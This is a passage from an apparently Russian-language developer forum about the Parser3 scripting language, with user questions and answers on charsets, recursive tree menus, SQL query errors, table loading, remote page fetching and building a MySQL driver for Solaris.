$charsetByLang[\
  $.RU[windows-1251]\
  $.EN[windows-1251]\
  $.UA[windows-1251]\
  $.DE[windows-1250]\
]\
\
#внутри работаем с UTF-8\
$request:charset[UTF-8]\
#пользователю отдаём в однобайтной кодировке, соответствуюей его языку\
$response:charset[$charsetByLang.$lang]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
[/code]\
\
в административном веб-интерфейсе сайта выставляется\
[code]\
$response:charset[UTF-8]\
…\
[/code]\
так можно будет на одной странице работать одновременно и с русским и с турецким.\
\
какие есть проблемы:\
1. SQL сервер может не поддерживать кодировку UTF-8, но если вам [b]не[/b] нужны функции алфавитной сортировки, length, upper, lower [b]на sql сервере[/b], вы можете SQL серверу не сообщать о том, что вдруг решили сменить смысл тех байт, что у него храните. важно лишь расширить varchar(n) до varchar(n*2), чтобы поместились русские буквы (в UTF-8 они занимают по два байта на букву).\
\
2. чтобы текстовый редактор, в котором вы работаете с файлами сайта поддерживал кодировку UTF-8. все современные редакторы её поддерживают. на крайний случай всегда можно перекодировать файл перед отправкой/после приёма.\
[при работе с XML можно использовать смешанные кодировки, там каждый файл может лежать в своей кодировке]\
\
3. вам может быть лень создавать описание однобайтной кодировки для каждого языка (описание кодировки европейских языков, windows-125[b]0[/b] входит в поставку parser). если не будет желания экономить сетевой трафик [b]ваших[/b] посетителей, и проигнорировать то, что они будут за него переплачивать, кодировку не описывать, отдавать и им тоже в UTF-8.\
\
если что непонятно, сначала подумайте, попробуйте, потом подробно спросите."
"32442","Если реализовать сайт на parser` или php, что из них будет быстрее работать?"
"32443","прошу отвечать на это письмо."
"32444","Воспользовался я поиском, но вразумительных ответов так и не нашел. Если вам некогда отвечать, поставьте ссылочку на топик, где это подробно обсуждается."
"32445","этот постинг - позор на мою седую голову!! сотрите его!!!"
"32446","если вам они таковыми не кажутся, и есть возможность, проведите исследование, о результатах и способах сравнения, напишите сюда."
"32448","Есть табилца в базе:\
id    pid    name    uri\
________________________________________________________________________\
\
вытаскиваю из базы элементы, делаю из таблицы хеш, формирую uri сайта (как в примерах написано)\
и рекурсивно вывожу их. \
________________________________________________________________________\
\
[b]Но вот вопрос 1[/b]:\
\
Как входить в рекурсию только тогда, когда раздел открыт([color=\"#ff0000\"]$request:uri[/color])? \
Т.е. на главной странице все закрыты и вызваны только те, чьи parent_id = 0 и далее уже пошла рекурсия.\
\
[b]Но вот вопрос 2[/b]:\
\
Как рекурсивно вызывать детей родителя не касаясь внуков (детей тех детей,  которые имеют родителя :)))?\
\
Спасибо"
"32449","1. Здесь вам просто не нужно запускать рекурсию. Тогда построение дерева будет заканчиваться на всех родительских элементах.\
\
2. Поставить счетчик, по которому ограничивать вхождение в глубину ветвей."
"32450","1. Если раздел открыт, должны появляться дети, если раздел ребенка открыт, то они не должны исчезать... а как же без рекурсии?\
\
2. Вы не могли бы поподробнее про это счетчик?"
"32451","____________\
|index.html|\
\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html>\
<head>\
<title>StudentAMSP</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\
</head>\
<body>\
@body_additional[]\
Здесь в дальнейшем будет размещаться менюшка раздела\
\
@body_main[]\
А здесь, будет содержание подраздела\
</body>\
</html>\
\
Браузер выводит: Unhandled Exception (Debug)\
l:/home/student.ru/www/index.html(7:7): parse error, expecting `$'\
exception.type=parser.compile"
"32453","1. Как из хеша выбрать наибольшее заначение ?\
\
2. как использовать \
\
.line-style[***   ]\
.line-width(2)\
\
Нарисовать линию не проблема ^square.line($c;$y1;$x2;$y2;0xFF8000)\
но вот как изменить её толщину я так и не понял. \
\
Пробовал так не работает:\
^square.line($c;$y1;$x2;$y2;0xFF8000)\
^square.line-width(2)"
"32454","Я делал все по учебнику. Где же тогда писать эти методы? Как переопределить заголовки? Скажите конкретно в какой файл что написать, а то все ссылаются на http://www.parser.ru/forum/?id=7100."
"32455","[code]\
$square.line-style[***   ]\
$square.line-width(2)\
^square.line($c;$y1;$x2;$y2;0xFF8000)\
[/code]"
"32457","Подскажите в чём ошибка?? до этого нормально работало, а сейчас ошибка вылетает:\
[i]You have an error in your SQL syntax near 'AND LOWER(name) = 'admin'\
		ORDER BY\
			auser.dt_logon \
		DESC\
	' at line 29[/i]\
\
кусок @getUser :\
\
[code]\
$result[^csql.sql[table]{\
		SELECT\
			auser.auser_id AS user_id,\
			auser.name AS name,\
			auser.email AS email,\
			auser.description AS description,\
			auser.rights AS description,\
			auser.passwd AS passwd,\
			auser.new_passwd AS new_passwd,\
			auser.dt_register AS dt_register,\
			auser.dt_logon AS dt_logon,\
			auser.dt_logout AS dt_logout,\
			auser.connections_limit AS connections_limit,\
			auser.event_type AS event_type,\
			auser_detail.auser_id,\
			auser_detail.icq AS icq,\
			auser_detail.www AS www,\
			auser_detail.hobby AS hobby,\
			auser_detail.location AS location,\
			auser_detail.about_you AS about_you,\
			auser_detail.birtday AS birtday\
		FROM\
			auser, auser_detail\
		WHERE\
			auser.is_published = 1 AND\
			auser.auser_type_id = $USER_ID AND\
			^if(def $user_id){\
				auser.auser_id != 0\
				AND auser.auser_id = ^user_id.int(0)\
				AND auser_detail.auser_id = $user_id\
			}\
			^if(def $email){AND ^csql.lower[email] = '^email.lower[]'}\
			^if(def $name){AND ^csql.lower[name] = '^name.lower[]'}\
		ORDER BY\
			auser.dt_logon \
		DESC\
	}\
]\
[/code]\
\
не знаю в чём дело"
"32459","посмотрите что будет в sql запросе если def $user_id - false, а def $name - true\
\
P.S. уберите $exception.handled(1) и увидите более полную парсерную ругонь об ошибке с текстом запроса."
"32460","foreach его и в теле найти самое большое значение (один if)..."
"32463","я вам сказал не\
[code]\
__________\
|index.html|\
\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html>\
<head>\
<title>StudentAMSP</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\
</head>\
<body>\
@body_additional[]\
Здесь в дальнейшем будет размещаться менюшка раздела\
\
@body_main[]\
А здесь, будет содержание подраздела\
</body>\
</html>\
[/code]\
\
а\
____________\
|index.html|\
[code]\
@body_additional[]\
Здесь в дальнейшем будет размещаться менюшка раздела\
\
@body_main[]\
А здесь, будет содержание подраздела\
[/code]"
"32465","Случайно обнаружил, что если создать таблицу, без разницы, кодом или файлом, имеющую, например, такой вид:\
\
color	id\
#000000	black\
#FFFFFF	white\
#FF00FF	yellow\
\
.. и потом вывести ее:\
\
[code]\
$colors[^table::load[/colors.dat]]\
^colors.menu{\
$colors.color : $color.id<br>\
}\
[code]\
\
То получаем пустоту. А если столбцы id и color поменять местами, то не получаем. taint и untaint не помогают, видимо, Parser рассматривает содержимое как комментарий?\
\
В принципе, это не создает проблем, однако, если я хочу с помощью ^string.replace заменить что-то, начинающееся с #, то сделать это невозможно, приходится использовать ^string.match."
"32466","Почитать бы, стало бы понятно о чём идёт речь. А то \"кот в мешке\" получается :/\
\
Здравствуйте, кстати, Александр. Давно я тут не появлялся публично. Судя по Вашей новой фотографии в профайле - отпуск пошёл на пользу. Вид Ваш стал ещё более благообразный, а взгляд одухотворённый. Я этим летом много [url=\"http://www.opensea.ru/articles/travel/ladoga4/\"]путешествовал по Ладоге[/url] и частенько посещал Валаамскую обитель и мне есть с кем сравнивать образ :)"
"32468","А можно синтаксис строки? Или это когда таблица создается средствами кода, надо так писать, типа\
\
[code]$colors[^table:create{color id\
^taint[#]FF0000   красный\
}][/code]"
"32469","Тоже самое можно делать, если надо влепить табулятор или перевод строки"
"32471","Можно загрузить через ^file::load, а потом .text этого файла отдать на истерзание ^table::load"
"32473","Энклозер парный должен быть, иначе он не энклозер ;-)"
"32474","[code]\
color id\
\"#000000\" black\
\"#FFFFFF\" white\
\"#FF00FF\" yellow\
\
\
\
$colors[^table::load[/colors.dat;$.encloser[\"]]]\
^colors.menu{\
$colors.color : $colors.id<br>\
}\
\
[/code]"
"32475","Все разобрался. Все так просто оказалось. Дейтвительно, внимательнее надо быть, привык  уже к стереотипу как index.html писать и зациклился. \
Спасибо вам Большое."
"32476","есть код:\
\
[code]\
@tree[pid][level]\
$tree[^table::load[tree.cfg]]\
\
$level[^tree.select($tree.pid==$pid)]\
^if($level){\
	<ul>\
	^level.menu{\
		^if($form:name eq $level.name){\
			<li>$level.name</li>\
		}{\
			<li><a href=\"$level.name\">$level.name</a></li>\
		}\
	}\
	</ul>\
	\
}\
[/code]\
\
Скажите, ГДЕ и при каких обстоятельствах вызывать рекурсию? Нужно, чтобы при $request:uri раздела вылезали дети и так вниз по дереву...\
\
если сделать так:\
[code]\
<ul>\
	^level.menu{\
		^if($form:name eq $level.name){\
			<li>$level.name</li>\
                            ^tree[$level.id]\
		}{\
			<li><a href=\"$level.name\">$level.name</a></li>\
		}\
	}\
	</ul>\
[/code]\
...вызывются дети, но если кликаешь по ребенку, отображается только родительские разделы...\
помогите пожалуйста... я уже голову сломал...\
\
вот пример таблицы:\
id	pid	name\
1	0	name_1\
2	0	name_2\
3	0	name_3\
4	0	name_4\
5	1	name_1_1\
6	1	name_1_2\
7	1	name_1_3\
8	1	name_1_4\
9	2	name_2_1\
10	2	name_2_2\
11	2	name_2_3\
12	2	name_2_4\
13	3	name_3_1\
14	3	name_3_2\
15	3	name_3_3\
16	3	name_3_4\
17	15	name_15_1\
18	15	name_15_2\
19	15	name_15_3\
\
спасибо"
"32477","[code]\
id	pid	name\
1	0	name_1\
2	0	name_2\
3	0	name_3\
4	0	name_4\
5	1	name_1_1\
6	1	name_1_2\
7	1	name_1_3\
8	1	name_1_4\
9	2	name_2_1\
10	2	name_2_2\
11	2	name_2_3\
12	2	name_2_4\
13	3	name_3_1\
14	3	name_3_2\
15	3	name_3_3\
16	3	name_3_4\
17	15	name_15_1\
18	15	name_15_2\
19	15	name_15_3\
[/code]"
"32478","[code]\
color id\
000000 black\
FFFFFF white\
FF00FF yellow\
$colors[^table::load[/colors.dat;$.encloser[\"]]]\
^colors.menu{\
 # $colors.color : $colors.id<br>\
}\
[/code]"
"32479","после выполнения команды:\
^if($form:cluster eq $news.cluster){\
$cookie:cluster[$.value[$form:cluster]$.expires[session]]}\
Нужно чтобы запускался файл .html из каталога /cool"
"32481","Я юзер.\
\
Мне нужна была примитивная система авторизации на сайте."
"32483","http://www.gamealbum.com/\
Ругается \
ISO-8859-1\
unknown charset\
\
Не понятно как загрузить?"
"32484","добавив одну строку (можно указать путь к файлу с кодировкой 1250)"
"32485","Почему, интересно, когда я пишу:\
\
[code]\
$response:charset[windows-1250]\
$response:content-type[\
   $.value[text/html]\
   $.charset[$response:charset]\
]\
[/code]\
\
То вместо неанглийских букв я вижу вопросительные знаки?\
Неанглийские буквы прямо напечатаны в html-странице.\
Я ожидал чего-то другого, корявок каких-нибудь, но не вопросов..."
"32486","Облазил весь форум, напряг поиск по полной программе, НИЧЕГО об этом не нашел! \
Прошу вас помогите мне. Я даже пробовал искать статьи на туже тему на php, хотел переписать на парсер, ан нет, одна статья в инете есть, да и то про то, как полностью развернутое дерево делать... вы моя последняя надежда..."
"32489","Ведь когда ваши дети вылезут вниз по дереву, то возникнет еще один вопрос - как лезущих детей загнать назад...\
\
Я, конечно, могу чего-то не понять - но вы хотите разделы только разворачивать?\
\
...может надо другую задачу ставить?"
"32490","то тогда зачем он вообще нужен? Можно сразу все вывести в развернутом виде.\
\
А для свертывания-развертывания, мне кажется, не обойтись без Javascript. И в этом случае возможны разные варианты реализации, самый прямолинейный - это каждому элементу таблицы приписать состояние is_open=true/false, то есть, развернута ветка или нет, что будет указывать на выбор действия."
"32491","скажите, разве здесь http://ancor.ru используется джава скрипт для меню?\
Мне нужно, чтобы при переходе по ссылки появлялись дети раздела, если перейти на ребенка, ветка не должна пропасть, если у этого ребенка есть дети, значит лезим еще глубже... рекурсия вобщем. \
Что на данный момент сделано:\
1. Формирование uri (в базе uri храняться без слешей и родительского пути)\
2. Вывод полного дерева (любой вложенности)\
............\
теперь мне необходимо открывать и закрывать их, разве этого нельзя сделать с помощью парсера?"
"32492","Но, кстати, в XML там есть встроенные средства движения по оси от корня до элемента. А тут их надо самому придумывать:\
\
Во первых, не стоит в рекурсивных функциях загружать таблицу разделов каждый раз\
[code]\
@main[]\
$pages[^table::load[pages.dat]]\
[/code]\
\
ее можно загрузить где-нибудь снаружи, хоть в @main[]\
\
Во вторых, \
создаем такую таблицу (тоже один раз, где-нибудь в начале):\
[code]$parents[^table::create{id}][/code]\
\
В третьих, при нажатию на ссылку, которая как-нибудь идентифицирует себя через id, вызываем такую функцию:\
[code]\
^findparents[id]\
^parents.sort[$parents.id]\
\
# ------------------------------------------\
\
@findparents[id]\
^if(^pages.locate($pages.id==$id)){^parents.append{$pages.id} ^findparents[$pages.pid]}\
[/code]\
\
Вот, теперь у вас в таблице $parents перечислены все id разделов, включая корневой и тот элемент, на который нажали. Я не проверял для 20-ти элементов, мне кажется, для 20 тоже будет работать.\
\
Теперь вы можете указывать, какие разделы нужно разворачивать, а какие нет.\
\
Функцию типа @showchilds[pid] - показать детей - писать не буду, думаю, должно и у вас получиться."
"32496","перед тем, как задавать этот вопрос, я досканально изучил форум и эту статью... :)"
"32497","Добрый день!\
Хотел спросить у профессионалов:\
Мне нужно загрузить страничку с другого сайта и обработать её \"на лету\" так сказать и вывести результат, т.е.:\
[code]\
...\
<TR><TD>Фирма</TD><TD>Товар</TD>Цена<TD></TD></TR>\
<TR><TD>Фирма</TD><TD>Товар</TD>Цена<TD></TD></TR>\
<TR><TD>Фирма</TD><TD>Товар</TD>Цена<TD></TD></TR>\
...\
[/code]\
превратить в:\
Фирма Товар Цена (TabDelimited)\
\
Собственно вопрос: Можно ли это реализовать средствами Парсера и\
что с этим быстрее справится? Parser, PHP, Perl?\
Мне важна именно [b]скорость[/b].\
\
--\
С уважением, Ян."
"32498","Покажу на примере. Реализуем, допустим, форум.\
Для управления пользователями пишется класс user, содержащий необходимые методы: createUser, updateUserInfo, getUserInfo, etc.\
\
Проблема в том, что сей класс подвергается синтаксическому разбору целиком (так ведь?) каждый хит. А подавляющее количество хитов для обработки не требует вызова, скажем, createUser (не каждый же раз пользователь регистрируется).\
\
Вот это меня и смущает... или может быть я преувеличиваю проблему?\
Я не знаю как парсер осуществляет разбор и исполнение кода, может быть неиспользуемые методы на самом деле пропускаются? Было бы неплохо...\
\
ЗЫ: Какая-то редиска просканировала форум, и теперь шлёт спам на упомянутые email'ы :("
"32499","http://www.parser.ru/forum/?id=25160"
"32500","Поскольку выяснилось, что $cookie недоступны в @auto[] возник вопрос - а куда собссно пихать код обновления сабжевых кук, дабы он выполнялся на всех страницах определённого раздела сайта ???\
\
В том разделе только auto.p и куча html, в которых по очереди перекрыты все методы из auto.p. Пихать вызов метода обновления кук в каждый html имхо таки некошерно :)"
"32502","А если встретится другая неизвестная кодировка? как вообще откзаться от зависимости кодировки, тем паче что я запрашиваю в бинарном режиме?"
"32503","Все равно делать будете - вот и сравните :) и нам потом расскажете..."
"32504","@main[] у меня определён в корневом auto.p и описывает общую структуру сайта типа:\
\
@main[]\
<HTML>\
<HEAD>^head[]</HEAD>\
^body[]\
</HTML>\
\
если я его перекрою - потеряется вся структура сайта."
"32505","если одинаково хорошо написан код. Потому как можно на любом языке наворотить такую кучу, что и обработка 10кб страницы будет в тягость.\
А вообще, я думаю, разница конечно же будет на 1-2 сотые секунды, и этой разницей можно спокойно пренебречь."
"32506","в корневом auto.p:\
[code]\
@main[]\
^cookieManager[]\
<HTML>\
<HEAD>^head[]</HEAD>\
^body[]\
</HTML>\
\
...\
\
@cookieManager[]\
# пустышка\
[/code]\
а в auto.p раздела переопределяем метод @cookieManager[] на рабочий."
"32508","1-2 доли секунды не принципиально =)\
\
ЗЫ: Не подскажите какая ф-я загружает удалённую страницу?\
(присутсвуют параметры)"
"32510","на много? для меня даже +1 секунда в скорости — серьёзный аргумент."
"32511","кстати забыл сказать объём данных может варьироваться от 100КБ до 2МБ"
"32513","...еще imho, можно память промерить в том и другом случае."
"32514","однако если вы говорите о времени порядка секунд то очень может быть вам и парсера будет более чем достаточно :)\
\
хотя задачи бывают разные..."
"32516","http://www.parser.ru/forum/?id=32476\
прошу вас не поправляйте код, это всего лишь быстрый набросок, сам класс совсем другой, мне нужно только узнать, где и при каких обстаятельствах вызывать рекурсию, как открывать и закрывать заданные ветки. \
\
ЗЫ а этот код всего лишь для того, чтобы другие части класса не путали вас...\
\
ЗЫЗЫ в классе я сначало достаю таблицу из базы, перевожу ее в хеш, формирую все uri  путями родителей и рекурсивно вывожу (как в примере у Миши)... но к сожалению дерево получается полностью открытым, а мне нужны только определенные ветки..."
"32525","Вопрос:\
  [b]1.[/b] Будет ли модуль MySQL версии 3.0007 работать под версией Парсера 3.1.3.\
  [b]2.[/b] При попытке подсоединиться к БД ([code]^connect[mysql://login:pass@subd.XXX.ru/guestbook]{$news[^table::sql{select * from news}]})[/code], в логах выдается ошыбка:\
[b]'/home/www/cgi-bin/lib/libparser3mysql.so' ld.so.1: parser3.cgi: fatal: relocation error: file /home/www/cgi-bin/lib/libparser3mysql.so: symbol __builtin_new: referenced symbol not found [<no type>][/b]. Кто знает что эта за ошибка?"
"32528","^file::load :) правда есть проблема с перекодировками :)"
"32529","конечно бы еще учесть разные модели запуска - cgi или модуль апача (если все под апачем работает). но верно замечано - надо просто проверить и все :)"
"32530","Изучил топик\
http://www.parser.ru/forum/?id=23021\
Но ничего не помогает... Помогите :)"
"32533","Почему-то из исходников не получается скомпилить, парсер3 собрался, а у модуля слишком много ошибок выдает, может какие библиотеки нужны?\
Или может есть у кого скомпилинный модуль 3.1.3 под Солярку 2.7?"
"32534","узким местом в Вашей системе будет сеть. пока этим 2 метра сольются...."
"32536","В логе обнуружил вот такую запись:\
\
http://hghltd.yandex.ru/yandbtm?url=http://www.mindwork.ru/works/&text=cms&dsn=39&d=2593125\
что это это ведь не yandsearch ?\
\
И самое главное как из этой записи вырезать text=cms.\
У меня получается только text=cms&dsn=39&d=2593125 используя это: \
match[(text=.+)\
\
Подскажите."
"32538","Прочитал еще раз, искал по форуму - проблема встречалась и раньше, но решения не увидел - запросить у сервера документ в нужной кодировке может не работать, так как сервер на это не реагирует.\
Добавление строки с чарсетом тоже не катит - надо тогда добавлять все существующие кодировки (это паук для вытаскивания страниц). Использование perl то же не катит :)\
Универсальным решением было бы отсутствие перекодировки при запросе в binary режиме. Однако в 3.1.3 под windows и redhat linux такое проходит."
"32540","[code]\
^text.match[(?:.+?)(?<=text=)(.+?)\\&(?:.+)][gi]{text=$match.1}\
[/code]"
"32541","[code]\
^text.match[(?:.+?)(text)=(.+?)\\&(?:.+)][gi]{$match.1=$match.2}\
[/code]"
"32543","bug версии 3.1.2 был исправлен.\
\
но остался код, вникавший в то, что сервер отвечал \
[code]content-type: xxx charset=тут[/code]\
\
убрал это, если binary.\
CVS|HEAD"
"32544","вот parser вам и пытается перекодировать, видимо, из windows-1251 в windows-1250, конечно, не может."
"32545","используем интенсивно в куче проектов."
"32546","лучше всего, сделайте асинхронно:\
время от времени запускается скрипт, делает дело,\
посетитель забирает готовый статический файл.\
\
и имейте в виду, что 2M для HTML странички, это много.\
возможно, стоит сделать постраничную прокрутку и поиска."
"32547","посчитайте на ожидаемом количестве поситетелей, сколько будет реально разница в выполнении, если был скомпилирован ненужный метод и сколько не было.\
\
экономия не окупит маленькой круглой булочки."
"32548","Прошу прощения за новый подобный тред, но тот, что я создавал ушел далеко вниз...\
\
прошу вас помочь мне вот с чем:\
\
есть такая таблица:\
[code]\
id	pid	name\
1	0	name_1\
2	0	name_2\
3	0	name_3\
4	0	name_4\
5	1	name_1_1\
6	1	name_1_2\
7	1	name_1_3\
8	1	name_1_4\
9	2	name_2_1\
10	2	name_2_2\
11	2	name_2_3\
12	2	name_2_4\
13	3	name_3_1\
14	3	name_3_2\
15	3	name_3_3\
16	3	name_3_4\
17	15	name_15_1\
18	15	name_15_2\
19	15	name_15_3\
[/code]\
из нее нужно сделать дерево:\
\
[code]\
@main[]\
$tree[^table::load[tree.cfg]]\
###############\
\
@tree[parent_id][level]\
\
$level[^tree.select($parent_id == $tree.pid)]\
\
<ul>\
^level.menu{\
	$id($form:id)\
\
	$parents[^hash::create[]]\
	$str_hash[^tree.hash[id]]\
	$pid($id)\
	^while($pid){\
  		^parents.add[\
    		$.[$pid][$pid]\
  		]\
  	$pid($str_hash.[$pid].pid)\
	}\
	\
	^if($form:id == $level.id){\
		<li>$level.name</li>\
	}{\
		<li><a href=\"?id=$level.id\">$level.name</a></li>\
	}\
	^if($parents.[$level.id]){\
		^tree[$level.id]\
	}	\
	\
}\
</ul>\
################\
[/code]\
\
все работает как часы \
[code]\
# это не тестовый код, вместо него, но по такому же алгоритму я\
# использую класс с такими параметрами:\
# 1. беру из базы таблицу\
# 2. делаю из нее хеш\
# 3. формирую все полные uri (в базе храняться без слешей и родительских путей)\
# 4. кладу это все в хеш и рекурсивно вызываю  \
[/code]\
\
а проблема вот в чем, id родителей ищется по $form:id, это я делал для того, чтобы не создавть кучу папок.\
но ведь у меня есть uri, и form:id мне не нужен больше. Но вот проблема - я не знаю, как определить родительский id другим способом, подскажите пожалуйста. \
\
спасибо"
"32549","А когда это можно будет получить в бинарниках под вин и линукс? Я в таких вещах не силен... да еще и CVS..."
"32552","2МБ - это максимум. обычно 100—400КБ"
"32553","А может есть кто делает сборки на более периодичной основе? :)"
"32554","Добрый день. Есть ли у кого-нибудь скомпилированный Parser 3.1.3 и драйвера для MySQL под Solaris 8?"
"32557","к сожалению, там есть только для intel solaris,\
а нужен для sparc"
"32558","мыслев читать мы не умеем, а в корневом сообщении было лишь межстрочное упоминание про sparc."
"32559","и что за ошибки выдаёт?\
обычно тривиально собирается.\
возможно, вы плохо прочли и не в тот каталог положили? приведите свою структуру каталогов."
"32560","Хороший сайт... А когда будет следующая сборка?"
"32561","возможно, повторное чтение письма поможет?\
http://www.parser.ru/forum/?id=32546"
"32562","1. Когда в <head> ставим метатэг charset=windows-1251 - буквы русские и английские; когда ставим charset=windows-1250 - буквы, которые были русскими, становятся дополнительными символами. Это понятно - вместо одного набора символов используется другой. Это хорошо. Это работает как для непосредственно набитых символов, так и для символов в тексте, взятых из базы. Так и должно быть.\
\
2. Когда задаем charset Parserom, это тоже хорошо, в смысле восприятия кода шаблона. Но вместо дополнительных символов получаются вопросительные знаки. Это непонятно.\
\
Если не трудно, наведите меня на мысль, для каких целей служит $response:charset и чем такой способ отличается от задания мета-тэга.\
\
P.S. Почему вы говорите, что \"из windows-1251 в windows-1250 конечно, не может\"?"
"32563","Вы имеете в виду, что нужно ко всему прочему задавать $request:charset[windows-1250]? Я попробую..."
"32565","Вы немного не понимаете =)\
Результат я загружаю с другого сайта (не моего) через скрипт (с моего) = результат [b]размер[/b] информации меньше в 10 раз, а полезной информации одинаково.\
У меня уже есть скрипт на ПХП - но он подозрительно медленно работает.\
Информацию нужно загружать по запросу к скрипт — вариант с созданием файла не подходит."
"32566","выполняем небольшой пример:\
\
Вот нужно мне было сформировать строку для запроса в переменную, и столкнулся с такой проблемой разделителя:\
\
#создадим простую табличку\
$tb[^table::create{name\
Вася\
Петя\
Вова\
Гена\
}]\
\
^tb.menu{\
  $x[$x $tb.name]\
  $x\
}{\
  $x[$x OR]\
  *OR*\
}\
<br>$x<br>\
\
\
И вот что мы получим в результате:\
\
Вася*OR*Петя*OR*Вова*OR*Гена\
Вася Петя OR Вова OR Гена OR\
\
\
 - вывод - 1. первая строка выводится на печать в процессе выполнения метода menu с разделителем\
и выполняется она вполне корректно\
2. вторая строка выводится переменной, которая вычисляется точно так же как и происходит вывод первой, но как видно из примера - некорректно\
Что это кривизна работы разделителя, или моих рук??!"
"32567","для parser самый быстрый подход такой:\
[code]\
#вынимаем все круглые скобки в ОДНО движение\
$table[^string.match[(ваше) (регулярное) (выражение)][g]]\
#выдаём результат\
…\
^table.menu{\
… $table.1 … $table.2 …\
}\
… \
[/code]"
"32568","прочтите в документациии [b]одно[/b] предложение, где сказано, когда выполняется {разделитель}."
"32569","вот цитирую это предложение для простоты восприятия этого топика:\
Разделитель - код, который вставляется после каждой непустой строки, кроме последней. Разделитель в квадратных скобках вычисляется один раз, в фигурных - много раз по ходу вызова.\
\
 - только вот по моему я выполняю все условия здесь описанные\
и даже при выводе на печать все происходит верно, а при формировании строки в переменную нет... Здается мне что в этом функционале какая то хитрая подтасовка."
"32570","...разделитель в фигурных скобках [b]вычисляется[/b] [i]много раз по ходу вызова*[/i], а  [b]вставляется[/b]** после каждой непустой строки, кроме последней.\
\
* всегда, в любом случае\
** в menu, как разделитель"
"32571","конечно, вычисляется ровно сколько раз, сколько и вставляется.\
\
однако приведённый код выдаёт такой результат:\
[code]\
Вася *OR* Вася Петя *OR* Вася Петя OR Вова *OR* Вася Петя OR Вова OR Гена \
Вася Петя OR Вова OR Гена OR\
[/code]\
\
может какая-то древняя версия?"
"32572","Странно, но топик с моей просьбой помочь в составлении шаблона удалили =(\
\
Можете помочь с вытаскиванием хотя бы из примера, который я вставил? http://www.parser.ru/forum/?id=32497\
[code]\
@viewtext[query][resp]\
$resp[^file::load[text;$query]]\
$resp[^resp.text.match[…вот тут что?!?][gi]{$match.2 }]\
$resp.text\
[/code]\
Шаблон состовляется из регулярных выражений Пёрла, я в нём нуль =("
"32573","Большое спасибо - попробую."
"32574","и не просите других делать за вас вашу работу, это неприлично.\
\
это вовсе не «помощь».\
\
начнёте делать, что-то конкретное не будет получаться, спросите.\
\
вопрос закрыт."
"32575","[code]\
$flist[^file:list[/music/OST/Confidence/;\\.mp3^$]]\
^flist.menu{\
	<a href=\"/music/OST/Confidence/flist.name\">$flist.name</a>\
#до этого момента всё ок, список выводится.\
	$f[^file::stat[/music/OST/Confidence/$flist3.name]]	\
	&nbsp^;[^eval($f.size/1000000)[%.2f] Mb]\
}\
[/code]\
А вот ^file::stat выдаёт \
getting file size failed: No such file or directory (2), real filename '/path/to/me/hwat.mcn.ru/music/OST/Confidence/01 - Christophe Beck - Dolby_27s Con.mp3'\
\
Что сие означаёт? )"
"32576","разделитель вычисляется в тот момент, когда уже вычислена следующая строка, и стало ясно что она не пустая.\
\
Следующий код это объясняет:\
[code]\
$tb[^table::create{name\
Вася\
Петя\
Вова\
Гена\
}]\
^tb.menu{\
	$x[$x $tb.name]\
	$x<br>\
}{\
	$x[$x OR]\
	$x<br>\
	-<br>\
}\
<br><br>$x<br>\
[/code]\
Вася\
Вася Петя OR\
-\
Вася Петя\
Вася Петя OR Вова OR\
-\
Вася Петя OR Вова\
Вася Петя OR Вова OR Гена OR\
-\
Вася Петя OR Вова OR Гена\
\
\
Вася Петя OR Вова OR Гена OR"
"32577","parser не даёт работать с заведомо проблемными именами файлов.\
видите, во что превратился апостроф?\
\
сделано для уменьшения опасности, ведь имя файла может быть передано нам посетителем…\
\
возможно, с апострофом я и переборщил. но там написано \"разрешить это\", а не порочное \"запретить то\".\
\
приму \"patch -u\""
"32578","Дык код написан — не хватает только регулярного выражения =)"
"32579","Есть такая вещь, как $request:uri - в доках.\
Раз у вас есть сформированные полные пути, можете сравнивать $request:uri с этими путями."
"32580","вот такой код:\
\
\
[code]SELECT header\
	FROM table\
	WHERE header LIKE '${str}%'\
[/code]\
\
где [b]$str[ко][/b]\
(к примеру)\
вытаскивает из базы слово\
\
[b]Логарифм[/b]\
\
а если [b]$str[к][/b]\
то среди найденных слов(или набор букв)\
оказываются и такие:\
[b]лллллллл[/b] и т.д.\
или где буква [b]к[/b]\
не вначале, а в середине слова...\
\
Подскажите пожалуйста, почему так происходит?"
"32582","а не очень ли это ресурсоемко? \
то ли дело сравнивать цифры, с которыми процессору горАздо легче работать, нежели че с огромными (т.к. сформированными) путями...\
нет ли способа \"полегче\"?"
"32583","У меня в mysql \
[b]character_set - latin1[/b]\
\
Теперь я изменил строку соединения:\
[code]$connect_string[mysql://user:password@имя_хоста:номер_порта/database?charset=cp1251_koi8][/code]\
\
Теперь вроде все работает:\
все что было в базе конечно теперь выводится\
в не очень хорошем виде,\
а при добавлении новых данных через\
страницу админ. это добавленное\
затем выдается в нормальном виде..\
\
Но этого достаточно[b]?[/b]\
Т.к. в примере \"Информация о настройке кодировок в MySQL\"\
есть такой абзац:\
[b]Однако имейте ввиду, что если у вас данные хранятся в кодировке koi8, а вы их кладете в windows-1251 то ничего хорошего не получите. При запросе вы вроде будете получать русские буквы, причем такие-же, какие клали в базу, но вот все серверные функции типа upper, lower, order by, group by и др. нормально работать с русскими буквами не будут.\
[/b]\
\
Получается что [b]недостаточно изменить строку соединения[/b],\
чтобы затем в полной мере использовать базу, при условии если кодировку\
на SQL сервере изменить нельзя?\
\
\
И еще вопрос если можно:\
У меня в [b]character_sets[/b] кодировки:\
latin1 big5 czech euc_kr gb2312 gbk sjis tis620 ujis dec8 dos german1 hp8 koi8_ru latin2 swe7 usa7 [b]cp1251[/b] danish hebrew [b]win1251[/b] estonia hungarian koi8_ukr win1251ukr greek win1250 croat cp1257 latin5  \
\
Вопрос - в чем разница выделенных кодировок?"
"32584","менять надо кодировку сервера и [b]данные[/b] которые были туда напиханы неверно."
"32585","у вас будут N table::load и table.select тормозить, по сравнению с ними eq будет просто летать."
"32586","1. проц sparc.\
2. с каталогами все нормально.\
3. Вот ошибки, это только часть.\
[b]make  all-recursive\
make[1]: Entering directory `/export/home/taurus/parser3mysql-3.1.HEAD'\
Making all in libltdl\
make[2]: Entering directory `/export/home/taurus/parser3mysql-3.1.HEAD/libltdl'\
make  all-am\
make[3]: Entering directory `/export/home/taurus/parser3mysql-3.1.HEAD/libltdl'\
